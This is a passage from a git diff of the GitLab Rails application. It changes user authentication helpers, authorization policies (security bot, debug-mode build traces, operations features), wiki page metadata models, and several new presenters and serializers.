u.website_url = Gitlab::Routing.url_helpers.help_page_url('user/application_security/security_bot/index.md')
u.avatar = bot_avatar(image: 'security-bot.png')
+ u.confirmed_at = Time.zone.now
end
end
@@ -797,7 +812,9 @@ class User < ApplicationRecord
end
def two_factor_otp_enabled?
- otp_required_for_login? || Feature.enabled?(:forti_authenticator, self)
+ otp_required_for_login? ||
+ forti_authenticator_enabled?(self) ||
+ forti_token_cloud_enabled?(self)
end
def two_factor_u2f_enabled?
@@ -1032,7 +1049,7 @@ class User < ApplicationRecord
end
def require_personal_access_token_creation_for_git_auth?
- return false if allow_password_authentication_for_git? || ldap_user?
+ return false if allow_password_authentication_for_git? || password_based_omniauth_user?
PersonalAccessTokensFinder.new(user: self, impersonation: false, state: 'active').execute.none?
end
@@ -1050,7 +1067,7 @@ class User < ApplicationRecord
end
def allow_password_authentication_for_git?
- Gitlab::CurrentSettings.password_authentication_enabled_for_git? && !ldap_user?
+ Gitlab::CurrentSettings.password_authentication_enabled_for_git? && !password_based_omniauth_user?
end
def can_change_username?
@@ -1130,6 +1147,18 @@ class User < ApplicationRecord
namespace.find_fork_of(project)
end
+ def password_based_omniauth_user?
+ ldap_user? || crowd_user?
+ end
+
+ def crowd_user?
+ if identities.loaded?
+ identities.find { |identity| identity.provider == 'crowd' && identity.extern_uid.present? }
+ else
+ identities.with_any_extern_uid('crowd').exists?
+ end
+ end
+
def ldap_user?
if identities.loaded?
identities.find { |identity| Gitlab::Auth::OAuth::Provider.ldap_provider?(identity.provider) && !identity.extern_uid.nil? }
@@ -1229,7 +1258,7 @@ class User < ApplicationRecord
end
def solo_owned_groups
- @solo_owned_groups ||= owned_groups.select do |group|
+ @solo_owned_groups ||= owned_groups.includes(:owners).select do |group|
group.owners == [self]
end
end
@@ -1464,6 +1493,10 @@ class User < ApplicationRecord
!solo_owned_groups.present?
end
+ def can_remove_self?
+ true
+ end
+
def ci_owned_runners
@ci_owned_runners ||= begin
project_runners = Ci::RunnerProject
@@ -1636,11 +1669,11 @@ class User < ApplicationRecord
save
end
- # each existing user needs to have an `feed_token`.
+ # each existing user needs to have a `feed_token`.
# we do this on read since migrating all existing users is not a feasible
# solution.
def feed_token
- ensure_feed_token!
+ Gitlab::CurrentSettings.disable_feed_token ? nil : ensure_feed_token!
end
# Each existing user needs to have a `static_object_token`.
diff --git a/app/models/user_callout.rb b/app/models/user_callout.rb
index cfad58fc0db..ad5651f9439 100644
--- a/app/models/user_callout.rb
+++ b/app/models/user_callout.rb
@@ -26,7 +26,8 @@ class UserCallout < ApplicationRecord
suggest_pipeline: 22,
customize_homepage: 23,
feature_flags_new_version: 24,
- registration_enabled_callout: 25
+ registration_enabled_callout: 25,
+ new_user_signups_cap_reached: 26 # EE-only
}
validates :user, presence: true
diff --git a/app/models/user_detail.rb b/app/models/user_detail.rb
index 9674f9a41da..ef799b01452 100644
--- a/app/models/user_detail.rb
+++ b/app/models/user_detail.rb
@@ -31,3 +31,5 @@ class UserDetail < ApplicationRecord
self.bio = '' if bio_changed? && bio.nil?
end
end
+
+UserDetail.prepend_if_ee('EE::UserDetail')
diff --git a/app/models/wiki_page/meta.rb b/app/models/wiki_page/meta.rb
index 215d84dc463..70b5547ffad 100644
--- a/app/models/wiki_page/meta.rb
+++ b/app/models/wiki_page/meta.rb
@@ -2,149 +2,20 @@
class WikiPage
class Meta < ApplicationRecord
- include Gitlab::Utils::StrongMemoize
-
- CanonicalSlugConflictError = Class.new(ActiveRecord::RecordInvalid)
- WikiPageInvalid = Class.new(ArgumentError)
+ include HasWikiPageMetaAttributes
self.table_name = 'wiki_page_meta'
belongs_to :project
has_many :slugs, class_name: 'WikiPage::Slug', foreign_key: 'wiki_page_meta_id', inverse_of: :wiki_page_meta
- has_many :events, as: :target, dependent: :delete_all # rubocop:disable Cop/ActiveRecordDependent
- validates :title, presence: true
validates :project_id, presence: true
- validate :no_two_metarecords_in_same_project_can_have_same_canonical_slug
-
- scope :with_canonical_slug, ->(slug) do
- joins(:slugs).where(wiki_page_slugs: { canonical: true, slug: slug })
- end
alias_method :resource_parent, :project
- class << self
- # Return the (updated) WikiPage::Meta record for a given wiki page
- #
- # If none is found, then a new record is created, and its fields are set
- # to reflect the wiki_page passed.
- #
- # @param [String] last_known_slug
- # @param [WikiPage] wiki_page
- #
- # This method raises errors on validation issues.
- def find_or_create(last_known_slug, wiki_page)
- raise WikiPageInvalid unless wiki_page.valid?
-
- project = wiki_page.wiki.project
- known_slugs = [last_known_slug, wiki_page.slug].compact.uniq
- raise 'No slugs found! This should not be possible.' if known_slugs.empty?
-
- transaction do
- updates = wiki_page_updates(wiki_page)
- found = find_by_canonical_slug(known_slugs, project)
- meta = found || create!(updates.merge(project_id: project.id))
-
- meta.update_state(found.nil?, known_slugs, wiki_page, updates)
-
- # We don't need to run validations here, since find_by_canonical_slug
- # guarantees that there is no conflict in canonical_slug, and DB
- # constraints on title and project_id enforce our other invariants
- # This saves us a query.
- meta
- end
- end
-
- def find_by_canonical_slug(canonical_slug, project)
- meta, conflict = with_canonical_slug(canonical_slug)
- .where(project_id: project.id)
- .limit(2)
-
- if conflict.present?
- meta.errors.add(:canonical_slug, 'Duplicate value found')
- raise CanonicalSlugConflictError.new(meta)
- end
-
- meta
- end
-
- private
-
- def wiki_page_updates(wiki_page)
- last_commit_date = wiki_page.version_commit_timestamp || Time.now.utc
-
- {
- title: wiki_page.title,
- created_at: last_commit_date,
- updated_at: last_commit_date
- }
- end
- end
-
- def canonical_slug
- strong_memoize(:canonical_slug) { slugs.canonical.first&.slug }
- end
-
- def canonical_slug=(slug)
- return if @canonical_slug == slug
-
- if persisted?
- transaction do
- slugs.canonical.update_all(canonical: false)
- page_slug = slugs.create_with(canonical: true).find_or_create_by(slug: slug)
- page_slug.update_columns(canonical: true) unless page_slug.canonical?
- end
- else
- slugs.new(slug: slug, canonical: true)
- end
-
- @canonical_slug = slug
- end
-
- def update_state(created, known_slugs, wiki_page, updates)
- update_wiki_page_attributes(updates)
- insert_slugs(known_slugs, created, wiki_page.slug)
- self.canonical_slug = wiki_page.slug
- end
-
- private
-
- def update_wiki_page_attributes(updates)
- # Remove all unnecessary updates:
- updates.delete(:updated_at) if updated_at == updates[:updated_at]
- updates.delete(:created_at) if created_at <= updates[:created_at]
- updates.delete(:title) if title == updates[:title]
-
- update_columns(updates) unless updates.empty?
- end
-
- def insert_slugs(strings, is_new, canonical_slug)
- creation = Time.current.utc
-
- slug_attrs = strings.map do |slug|
- {
- wiki_page_meta_id: id,
- slug: slug,
- canonical: (is_new && slug == canonical_slug),
- created_at: creation,
- updated_at: creation
- }
- end
- slugs.insert_all(slug_attrs) unless !is_new && slug_attrs.size == 1
-
- @canonical_slug = canonical_slug if is_new || strings.size == 1
- end
-
- def no_two_metarecords_in_same_project_can_have_same_canonical_slug
- return unless project_id.present? && canonical_slug.present?
-
- offending = self.class.with_canonical_slug(canonical_slug).where(project_id: project_id)
- offending = offending.where.not(id: id) if persisted?
-
- if offending.exists?
- errors.add(:canonical_slug, 'each page in a wiki must have a distinct canonical slug')
- end
+ def self.container_key
+ :project_id
end
end
end
diff --git a/app/models/wiki_page/slug.rb b/app/models/wiki_page/slug.rb
index c1725d34921..b82386c0e3c 100644
--- a/app/models/wiki_page/slug.rb
+++ b/app/models/wiki_page/slug.rb
@@ -2,25 +2,14 @@
class WikiPage
class Slug < ApplicationRecord
- self.table_name = 'wiki_page_slugs'
-
- belongs_to :wiki_page_meta, class_name: 'WikiPage::Meta', inverse_of: :slugs
-
- validates :slug, presence: true, uniqueness: { scope: :wiki_page_meta_id }
- validates :canonical, uniqueness: {
- scope: :wiki_page_meta_id,
- if: :canonical?,
- message: 'Only one slug can be canonical per wiki metadata record'
- }
+ def self.meta_foreign_key
+ :wiki_page_meta_id
+ end
- scope :canonical, -> { where(canonical: true) }
+ include HasWikiPageSlugAttributes
- def update_columns(attrs = {})
- super(attrs.reverse_merge(updated_at: Time.current.utc))
- end
+ self.table_name = 'wiki_page_slugs'
- def self.update_all(attrs = {})
- super(attrs.reverse_merge(updated_at: Time.current.utc))
- end
+ belongs_to :wiki_page_meta, class_name: 'WikiPage::Meta', inverse_of: :slugs
end
end
diff --git a/app/models/zoom_meeting.rb b/app/models/zoom_meeting.rb
index f83aa93b69a..c8b510c4779 100644
--- a/app/models/zoom_meeting.rb
+++ b/app/models/zoom_meeting.rb
@@ -1,13 +1,17 @@
# frozen_string_literal: true
class ZoomMeeting < ApplicationRecord
+ include Importable
include UsageStatistics
- belongs_to :project, optional: false
- belongs_to :issue, optional: false
+ belongs_to :project
+ belongs_to :issue
+
+ validates :project, presence: true, unless: :importing?
+ validates :issue, presence: true, unless: :importing?
validates :url, presence: true, length: { maximum: 255 }, zoom_url: true
- validates :issue, same_project_association: true
+ validates :issue, same_project_association: true, unless: :importing?
enum issue_status: {
added: 1,
diff --git a/app/policies/base_policy.rb b/app/policies/base_policy.rb
index 580a348b408..51694ec7c50 100644
--- a/app/policies/base_policy.rb
+++ b/app/policies/base_policy.rb
@@ -25,6 +25,10 @@ class BasePolicy < DeclarativePolicy::Base
with_options scope: :user, score: 0
condition(:support_bot) { @user&.support_bot? }
+ desc "User is security bot"
+ with_options scope: :user, score: 0
+ condition(:security_bot) { @user&.security_bot? }
+
desc "User email is unconfirmed or user account is locked"
with_options scope: :user, score: 0
condition(:inactive) { @user&.confirmation_required_on_sign_in? || @user&.access_locked? }
diff --git a/app/policies/ci/build_policy.rb b/app/policies/ci/build_policy.rb
index 3efc07421e4..7e69e1fdd88 100644
--- a/app/policies/ci/build_policy.rb
+++ b/app/policies/ci/build_policy.rb
@@ -45,6 +45,21 @@ module Ci
@subject.pipeline.webide?
end
+ condition(:debug_mode, scope: :subject, score: 32) do
+ @subject.debug_mode?
+ end
+
+ condition(:project_read_build, scope: :subject) do
+ can?(:read_build, @subject.project)
+ end
+
+ condition(:project_update_build, scope: :subject) do
+ can?(:update_build, @subject.project)
+ end
+
+ rule { project_read_build }.enable :read_build_trace
+ rule { debug_mode & ~project_update_build }.prevent :read_build_trace
+
rule { ~protected_environment_access & (protected_ref | archived) }.policy do
prevent :update_build
prevent :update_commit_status
diff --git a/app/policies/concerns/policy_actor.rb b/app/policies/concerns/policy_actor.rb
index 7eca6f4c6c8..75849fb10c8 100644
--- a/app/policies/concerns/policy_actor.rb
+++ b/app/policies/concerns/policy_actor.rb
@@ -49,6 +49,10 @@ module PolicyActor
false
end
+ def security_bot?
+ false
+ end
+
def deactivated?
false
end
diff --git a/app/policies/global_policy.rb b/app/policies/global_policy.rb
index c1ea4dddb51..b5c1ec0181e 100644
--- a/app/policies/global_policy.rb
+++ b/app/policies/global_policy.rb
@@ -48,7 +48,7 @@ class GlobalPolicy < BasePolicy
prevent :use_slash_commands
end
- rule { blocked | (internal & ~migration_bot) }.policy do
+ rule { blocked | (internal & ~migration_bot & ~security_bot) }.policy do
prevent :access_git
end
@@ -99,6 +99,7 @@ class GlobalPolicy < BasePolicy
enable :read_custom_attribute
enable :update_custom_attribute
enable :approve_user
+ enable :reject_user
end
# We can't use `read_statistics` because the user may have different permissions for different projects
diff --git a/app/policies/group_policy.rb b/app/policies/group_policy.rb
index 231843c5f23..7d0db222eaf 100644
--- a/app/policies/group_policy.rb
+++ b/app/policies/group_policy.rb
@@ -185,7 +185,10 @@ class GroupPolicy < BasePolicy
rule { developer & developer_maintainer_access }.enable :create_projects
rule { create_projects_disabled }.prevent :create_projects
- rule { owner | admin }.enable :read_statistics
+ rule { owner | admin }.policy do
+ enable :owner_access
+ enable :read_statistics
+ end
rule { maintainer & can?(:create_projects) }.enable :transfer_projects
diff --git a/app/policies/issuable_policy.rb b/app/policies/issuable_policy.rb
index 5cfbcfec5c0..f49a6ee8498 100644
--- a/app/policies/issuable_policy.rb
+++ b/app/policies/issuable_policy.rb
@@ -27,3 +27,5 @@ class IssuablePolicy < BasePolicy
prevent :award_emoji
end
end
+
+IssuablePolicy.prepend_if_ee('EE::IssuablePolicy')
diff --git a/app/policies/namespace_policy.rb b/app/policies/namespace_policy.rb
index aa87442cadd..b1d680b4264 100644
--- a/app/policies/namespace_policy.rb
+++ b/app/policies/namespace_policy.rb
@@ -8,6 +8,7 @@ class NamespacePolicy < BasePolicy
condition(:owner) { @subject.owner == @user }
rule { owner | admin }.policy do
+ enable :owner_access
enable :create_projects
enable :admin_namespace
enable :read_namespace
diff --git a/app/policies/project_ci_cd_setting_policy.rb b/app/policies/project_ci_cd_setting_policy.rb
new file mode 100644
index 00000000000..a22b790415b
--- /dev/null
+++ b/app/policies/project_ci_cd_setting_policy.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class ProjectCiCdSettingPolicy < BasePolicy
+ delegate { @subject.project }
+end
diff --git a/app/policies/project_policy.rb b/app/policies/project_policy.rb
index 13073ed68a1..403fb34803e 100644
--- a/app/policies/project_policy.rb
+++ b/app/policies/project_policy.rb
@@ -135,6 +135,10 @@ class ProjectPolicy < BasePolicy
::Feature.enabled?(:build_service_proxy, @subject)
end
+ condition(:project_bot_is_member) do
+ user.project_bot? & team_member?
+ end
+
with_scope :subject
condition(:packages_disabled) { !@subject.packages_enabled }
@@ -147,6 +151,8 @@ class ProjectPolicy < BasePolicy
builds
pages
metrics_dashboard
+ analytics
+ operations
]
features.each do |f|
@@ -211,6 +217,7 @@ class ProjectPolicy < BasePolicy
enable :award_emoji
enable :read_pages_content
enable :read_release
+ enable :read_analytics
end
# These abilities are not allowed to admins that are not members of the project,
@@ -272,6 +279,19 @@ class ProjectPolicy < BasePolicy
prevent(:metrics_dashboard)
end
+ rule { operations_disabled }.policy do
+ prevent(*create_read_update_admin_destroy(:feature_flag))
+ prevent(*create_read_update_admin_destroy(:environment))
+ prevent(*create_read_update_admin_destroy(:sentry_issue))
+ prevent(*create_read_update_admin_destroy(:alert_management_alert))
+ prevent(*create_read_update_admin_destroy(:cluster))
+ prevent(*create_read_update_admin_destroy(:terraform_state))
+ prevent(*create_read_update_admin_destroy(:deployment))
+ prevent(:metrics_dashboard)
+ prevent(:read_pod_logs)
+ prevent(:read_prometheus)
+ end
+
rule { can?(:metrics_dashboard) }.policy do
enable :read_prometheus
enable :read_deployment
@@ -424,6 +444,10 @@ class ProjectPolicy < BasePolicy
prevent(*create_read_update_admin_destroy(:snippet))
end
+ rule { analytics_disabled }.policy do
+ prevent(:read_analytics)
+ end
+
rule { wiki_disabled }.policy do
prevent(*create_read_update_admin_destroy(:wiki))
prevent(:download_wiki_code)
@@ -494,6 +518,7 @@ class ProjectPolicy < BasePolicy
enable :download_wiki_code
enable :read_cycle_analytics
enable :read_pages_content
+ enable :read_analytics
# NOTE: may be overridden by IssuePolicy
enable :read_issue
@@ -594,6 +619,8 @@ class ProjectPolicy < BasePolicy
enable :admin_resource_access_tokens
end
+ rule { project_bot_is_member & ~blocked }.enable :bot_log_in
+
private
def user_is_user?
diff --git a/app/policies/timebox_policy.rb b/app/policies/timebox_policy.rb
new file mode 100644
index 00000000000..03a1acb9358
--- /dev/null
+++ b/app/policies/timebox_policy.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+class TimeboxPolicy < BasePolicy
+ # stub permissions policy on None, Any, Upcoming, Started and Current timeboxes
+
+ rule { default }.policy do
+ enable :read_iteration
+ enable :read_milestone
+ end
+end
diff --git a/app/policies/user_policy.rb b/app/policies/user_policy.rb
index 70e8fb32064..48c2bd3f0bd 100644
--- a/app/policies/user_policy.rb
+++ b/app/policies/user_policy.rb
@@ -13,6 +13,9 @@ class UserPolicy < BasePolicy
desc "The user is blocked"
condition(:blocked_user, scope: :subject, score: 0) { @subject.blocked? }
+ desc "The user is unconfirmed"
+ condition(:unconfirmed_user, scope: :subject, score: 0) { !@subject.confirmed? }
+
rule { ~restricted_public_level }.enable :read_user
rule { ~anonymous }.enable :read_user
@@ -25,7 +28,7 @@ class UserPolicy < BasePolicy
end
rule { default }.enable :read_user_profile
- rule { (private_profile | blocked_user) & ~(user_is_self | admin) }.prevent :read_user_profile
+ rule { (private_profile | blocked_user | unconfirmed_user) & ~(user_is_self | admin) }.prevent :read_user_profile
rule { user_is_self | admin }.enable :disable_two_factor
rule { (user_is_self | admin) & ~blocked }.enable :create_user_personal_access_token
end
diff --git a/app/presenters/alert_management/alert_presenter.rb b/app/presenters/alert_management/alert_presenter.rb
index 4bfa3dc9a13..1cebf5c561a 100644
--- a/app/presenters/alert_management/alert_presenter.rb
+++ b/app/presenters/alert_management/alert_presenter.rb
@@ -8,7 +8,6 @@ module AlertManagement
MARKDOWN_LINE_BREAK = " \n"
HORIZONTAL_LINE = "\n\n---\n\n"
- INCIDENT_LABEL_NAME = ::IncidentManagement::CreateIncidentLabelService::LABEL_PROPERTIES[:title]
delegate :metrics_dashboard_url, :runbook, to: :parsed_payload
@@ -48,7 +47,7 @@ module AlertManagement
end
def incident_issues_link
- project_issues_url(project, label_name: INCIDENT_LABEL_NAME)
+ project_incidents_url(project)
end
def performance_dashboard_link
diff --git a/app/presenters/analytics/cycle_analytics/stage_presenter.rb b/app/presenters/analytics/cycle_analytics/stage_presenter.rb
new file mode 100644
index 00000000000..7b295b814bc
--- /dev/null
+++ b/app/presenters/analytics/cycle_analytics/stage_presenter.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+module Analytics
+ module CycleAnalytics
+ class StagePresenter < Gitlab::View::Presenter::Delegated
+ def title
+ extract_default_stage_attribute(:title) || name
+ end
+
+ def description
+ extract_default_stage_attribute(:description) || ''
+ end
+
+ def legend
+ ''
+ end
+
+ private
+
+ def extract_default_stage_attribute(attribute)
+ default_stage_attributes.dig(name.to_sym, attribute.to_sym)
+ end
+
+ def default_stage_attributes
+ @default_stage_attributes ||= {
+ issue: {
+ title: s_('CycleAnalyticsStage|Issue'),
+ description: _('Time before an issue gets scheduled')
+ },
+ plan: {
+ title: s_('CycleAnalyticsStage|Plan'),
+ description: _('Time before an issue starts implementation')
+ },
+ code: {
+ title: s_('CycleAnalyticsStage|Code'),
+ description: _('Time until first merge request')
+ },
+ test: {
+ title: s_('CycleAnalyticsStage|Test'),
+ description: _('Total test time for all commits/merges')
+ },
+ review: {
+ title: s_('CycleAnalyticsStage|Review'),
+ description: _('Time between merge request creation and merge/close')
+ },
+ staging: {
+ title: s_('CycleAnalyticsStage|Staging'),
+ description: _('From merge request merge until deploy to production')
+ },
+ production: {
+ title: s_('CycleAnalyticsStage|Total'),
+ description: _('From issue creation until deploy to production')
+ }
+ }.freeze
+ end
+ end
+ end
+end
diff --git a/app/presenters/ci/pipeline_presenter.rb b/app/presenters/ci/pipeline_presenter.rb
index da610f13899..f3bb63b31c3 100644
--- a/app/presenters/ci/pipeline_presenter.rb
+++ b/app/presenters/ci/pipeline_presenter.rb
@@ -10,7 +10,8 @@ module Ci
def self.failure_reasons
{ unknown_failure: 'Unknown pipeline failure!',
config_error: 'CI/CD YAML configuration error!',
- external_validation_failure: 'External pipeline validation failed!' }
+ external_validation_failure: 'External pipeline validation failed!',
+ deployments_limit_exceeded: 'Pipeline deployments limit exceeded!' }
end
presents :pipeline
diff --git a/app/presenters/gitlab/whats_new/item_presenter.rb b/app/presenters/gitlab/whats_new/item_presenter.rb
new file mode 100644
index 00000000000..9f66e19ade0
--- /dev/null
+++ b/app/presenters/gitlab/whats_new/item_presenter.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module WhatsNew
+ class ItemPresenter
+ DICTIONARY = {
+ core: 'Free',
+ starter: 'Bronze',
+ premium: 'Silver',
+ ultimate: 'Gold'
+ }.freeze
+
+ def self.present(item)
+ if Gitlab.com?
+ item['packages'] = item['packages'].map { |p| DICTIONARY[p.downcase.to_sym] }
+ end
+
+ item
+ end
+ end
+ end
+end
diff --git a/app/presenters/packages/composer/packages_presenter.rb b/app/presenters/packages/composer/packages_presenter.rb
index 84f266989e9..cce006cbb1a 100644
--- a/app/presenters/packages/composer/packages_presenter.rb
+++ b/app/presenters/packages/composer/packages_presenter.rb
@@ -11,7 +11,7 @@ module Packages
end
def root
- path = api_v4_group___packages_composer_package_name_path({ id: @group.id, package_name: '%package%', format: '.json' }, true)
+ path = api_v4_group___packages_composer_package_name_path({ id: @group.id, package_name: '%package%$%hash%', format: '.json' }, true)
{ 'packages' => [], 'provider-includes' => { 'p/%hash%.json' => { 'sha256' => provider_sha } }, 'providers-url' => path }
end
diff --git a/app/presenters/project_presenter.rb b/app/presenters/project_presenter.rb
index 0f5b601f2b0..55b550d8544 100644
--- a/app/presenters/project_presenter.rb
+++ b/app/presenters/project_presenter.rb
@@ -77,19 +77,19 @@ class ProjectPresenter < Gitlab::View::Presenter::Delegated
end
def readme_path
- filename_path(:readme)
+ filename_path(repository.readme_path)
end
def changelog_path
- filename_path(:changelog)
+ filename_path(repository.changelog&.name)
end
def license_path
- filename_path(:license_blob)
+ filename_path(repository.license_blob&.name)
end
def ci_configuration_path
- filename_path(:gitlab_ci_yml)
+ filename_path(repository.gitlab_ci_yml&.name)
end
def contribution_guide_path
@@ -244,11 +244,11 @@ class ProjectPresenter < Gitlab::View::Presenter::Delegated
end
def readme_anchor_data
- if current_user && can_current_user_push_to_default_branch? && repository.readme.nil?
+ if current_user && can_current_user_push_to_default_branch? && readme_path.nil?
AnchorData.new(false,
statistic_icon + _('Add README'),
empty_repo? ? add_readme_ide_path : add_readme_path)
- elsif repository.readme
+ elsif readme_path
AnchorData.new(false,
statistic_icon('doc-text') + _('README'),
default_view != 'readme' ? readme_path : '#readme',
@@ -397,13 +397,10 @@ class ProjectPresenter < Gitlab::View::Presenter::Delegated
current_user && can?(current_user, :create_cluster, project)
end
- def filename_path(filename)
- if blob = repository.public_send(filename) # rubocop:disable GitlabSecurity/PublicSend
- project_blob_path(
- project,
- tree_join(default_branch, blob.name)
- )
- end
+ def filename_path(filepath)
+ return if filepath.blank?
+
+ project_blob_path(project, tree_join(default_branch, filepath))
end
def anonymous_project_view
diff --git a/app/presenters/projects/import_export/project_export_presenter.rb b/app/presenters/projects/import_export/project_export_presenter.rb
index 8f3fc53af10..b52f3411c49 100644
--- a/app/presenters/projects/import_export/project_export_presenter.rb
+++ b/app/presenters/projects/import_export/project_export_presenter.rb
@@ -15,6 +15,10 @@ module Projects
self.respond_to?(:override_description) ? override_description : super
end
+ def protected_branches
+ project.exported_protected_branches
+ end
+
private
def converted_group_members
diff --git a/app/presenters/search_service_presenter.rb b/app/presenters/search_service_presenter.rb
new file mode 100644
index 00000000000..19a90d002aa
--- /dev/null
+++ b/app/presenters/search_service_presenter.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+class SearchServicePresenter < Gitlab::View::Presenter::Delegated
+ include RendersCommits
+
+ presents :search_service
+
+ SCOPE_PRELOAD_METHOD = {
+ projects: :with_web_entity_associations,
+ issues: :with_web_entity_associations,
+ merge_requests: :with_web_entity_associations,
+ epics: :with_web_entity_associations
+ }.freeze
+
+ SORT_ENABLED_SCOPES = %w(issues merge_requests).freeze
+
+ def search_objects
+ @search_objects ||= begin
+ objects = search_service.search_objects(SCOPE_PRELOAD_METHOD[scope.to_sym])
+
+ case scope
+ when 'users'
+ objects.eager_load(:status) # rubocop:disable CodeReuse/ActiveRecord
+ when 'commits'
+ prepare_commits_for_rendering(objects)
+ else
+ objects
+ end
+ end
+ end
+
+ def show_sort_dropdown?
+ SORT_ENABLED_SCOPES.include?(scope)
+ end
+
+ def show_results_status?
+ !without_count? || show_snippets? || show_sort_dropdown?
+ end
+
+ def without_count?
+ search_objects.is_a?(Kaminari::PaginatableWithoutCount)
+ end
+end
diff --git a/app/serializers/admin/user_entity.rb b/app/serializers/admin/user_entity.rb
new file mode 100644
index 00000000000..ad96c101822
--- /dev/null
+++ b/app/serializers/admin/user_entity.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+module Admin
+ class UserEntity < API::Entities::UserSafe
+ include RequestAwareEntity
+ include UsersHelper
+ include UserActionsHelper
+
+ expose :created_at
+ expose :email
+ expose :last_activity_on
+ expose :avatar_url
+ expose :badges do |user|
+ user_badges_in_admin_section(user)
+ end
+
+ expose :projects_count do |user|
+ user.authorized_projects.length
+ end
+
+ expose :actions do |user|
+ admin_actions(user)
+ end
+
+ private
+
+ def current_user
+ options[:current_user]
+ end
+ end
+end
diff --git a/app/serializers/admin/user_serializer.rb b/app/serializers/admin/user_serializer.rb
new file mode 100644
index 00000000000..09036428bab
--- /dev/null
+++ b/app/serializers/admin/user_serializer.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module Admin
+ class UserSerializer < BaseSerializer
+ entity UserEntity
+ end
+end
diff --git a/app/serializers/codequality_degradation_entity.rb b/app/serializers/codequality_degradation_entity.rb
new file mode 100644
index 00000000000..be561052507
--- /dev/null
+++ b/app/serializers/codequality_degradation_entity.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+class CodequalityDegradationEntity < Grape::Entity
+ expose :description
+ expose :severity
+
+ expose :file_path do |degradation|
+ degradation.dig(:location, :path)
+ end
+
+ expose :line do |degradation|
+ degradation.dig(:location, :lines, :begin) || degradation.dig(:location, :positions, :begin, :line)
+ end
+end
diff --git a/app/serializers/codequality_reports_comparer_entity.rb b/app/serializers/codequality_reports_comparer_entity.rb
new file mode 100644
index 00000000000..1de4e56c57d
--- /dev/null
+++ b/app/serializers/codequality_reports_comparer_entity.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class CodequalityReportsComparerEntity < Grape::Entity
+ expose :status
+
+ expose :new_errors, using: CodequalityDegradationEntity
+ expose :resolved_errors, using: CodequalityDegradationEntity
+ expose :existing_errors, using: CodequalityDegradationEntity
+
+ expose :summary do
+ expose :total_count, as: :total
+ expose :resolved_count, as: :resolved
+ expose :errors_count, as: :errored
+ end
+end
diff --git a/app/serializers/codequality_reports_comparer_serializer.rb b/app/serializers/codequality_reports_comparer_serializer.rb
new file mode 100644
index 00000000000..2c6eb33aa9f
--- /dev/null
+++ b/app/serializers/codequality_reports_comparer_serializer.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class CodequalityReportsComparerSerializer < BaseSerializer
+ entity CodequalityReportsComparerEntity
+end
diff --git a/app/serializers/concerns/user_status_tooltip.rb b/app/serializers/concerns/user_status_tooltip.rb
index 633b117d392..fcf6700cb59 100644
--- a/app/serializers/concerns/user_status_tooltip.rb
+++ b/app/serializers/concerns/user_status_tooltip.rb
@@ -8,12 +8,18 @@ module UserStatusTooltip
include UsersHelper
included do
- expose :user_status_if_loaded, as: :status_tooltip_html
+ expose :status_tooltip_html, if: -> (*) { status_loaded? } do |user|
+ user_status(user)
+ end
+
+ expose :show_status do |user|
+ status_loaded? && show_status_emoji?(user.status)
+ end
- def user_status_if_loaded
- return unless object.association(:status).loaded?
+ private
- user_status(object)
+ def status_loaded?
+ object.association(:status).loaded?
end
end
end
diff --git a/app/serializers/diff_file_base_entity.rb b/app/serializers/diff_file_base_entity.rb
index 5036f28184c..1409f023f21 100644
--- a/app/serializers/diff_file_base_entity.rb
+++ b/app/serializers/diff_file_base_entity.rb
@@ -118,7 +118,7 @@ class DiffFileBaseEntity < Grape::Entity
strong_memoize(:submodule_links) do
next unless diff_file.submodule?
- options[:submodule_links].for(diff_file.blob, diff_file.content_sha, diff_file)
+ options[:submodule_links]&.for(diff_file.blob, diff_file.content_sha, diff_file)
end
end
diff --git a/app/serializers/diffs_metadata_entity.rb b/app/serializers/diffs_metadata_entity.rb
index 8973f23734a..7b0de3bce4e 100644
--- a/app/serializers/diffs_metadata_entity.rb
+++ b/app/serializers/diffs_metadata_entity.rb
@@ -2,7 +2,9 @@
class DiffsMetadataEntity < DiffsEntity
unexpose :diff_files
- expose :raw_diff_files, as: :diff_files, using: DiffFileMetadataEntity
+ expose :diff_files, using: DiffFileMetadataEntity do |diffs, _|
+ diffs.raw_diff_files(sorted: true)
+ end
expose :conflict_resolution_path do |_, options|
presenter(options[:merge_request]).conflict_resolution_path
diff --git a/app/serializers/environment_entity.rb b/app/serializers/environment_entity.rb
index 0bd9c602bf5..8c6ad010d69 100644
--- a/app/serializers/environment_entity.rb
+++ b/app/serializers/environment_entity.rb
@@ -3,6 +3,9 @@
class EnvironmentEntity < Grape::Entity
include RequestAwareEntity
+ UNNECESSARY_ENTRIES_FOR_UPCOMING_DEPLOYMENT =
+ %i[manual_actions scheduled_actions playable_build cluster].freeze
+
expose :id
expose :global_id do |environment|
@@ -17,6 +20,11 @@ class EnvironmentEntity < Grape::Entity
expose :last_deployment, using: DeploymentEntity
expose :stop_action_available?, as: :has_stop_action
+ expose :upcoming_deployment, expose_nil: false do |environment, ops|
+ DeploymentEntity.represent(environment.upcoming_deployment,
+ ops.merge(except: UNNECESSARY_ENTRIES_FOR_UPCOMING_DEPLOYMENT))
+ end
+
expose :metrics_path, if: -> (*) { environment.has_metrics? } do |environment|
metrics_project_environment_path(environment.project, environment)
end
diff --git a/app/serializers/import/bulk_import_entity.rb b/app/serializers/import/bulk_import_entity.rb
index 8f0a9dd4428..9daa6699a20 100644
--- a/app/serializers/import/bulk_import_entity.rb
+++ b/app/serializers/import/bulk_import_entity.rb
@@ -12,4 +12,8 @@ class Import::BulkImportEntity < Grape::Entity
expose :full_path do |entity|
entity['full_path']
end
+
+ expose :web_url do |entity|
+ entity['web_url']
+ end
end
diff --git a/app/serializers/merge_request_assignee_entity.rb b/app/serializers/merge_request_assignee_entity.rb
deleted file mode 100644
index b7ef7449270..00000000000
--- a/app/serializers/merge_request_assignee_entity.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# frozen_string_literal: true
-
-class MergeRequestAssigneeEntity < ::API::Entities::UserBasic
- expose :can_merge do |assignee, options|
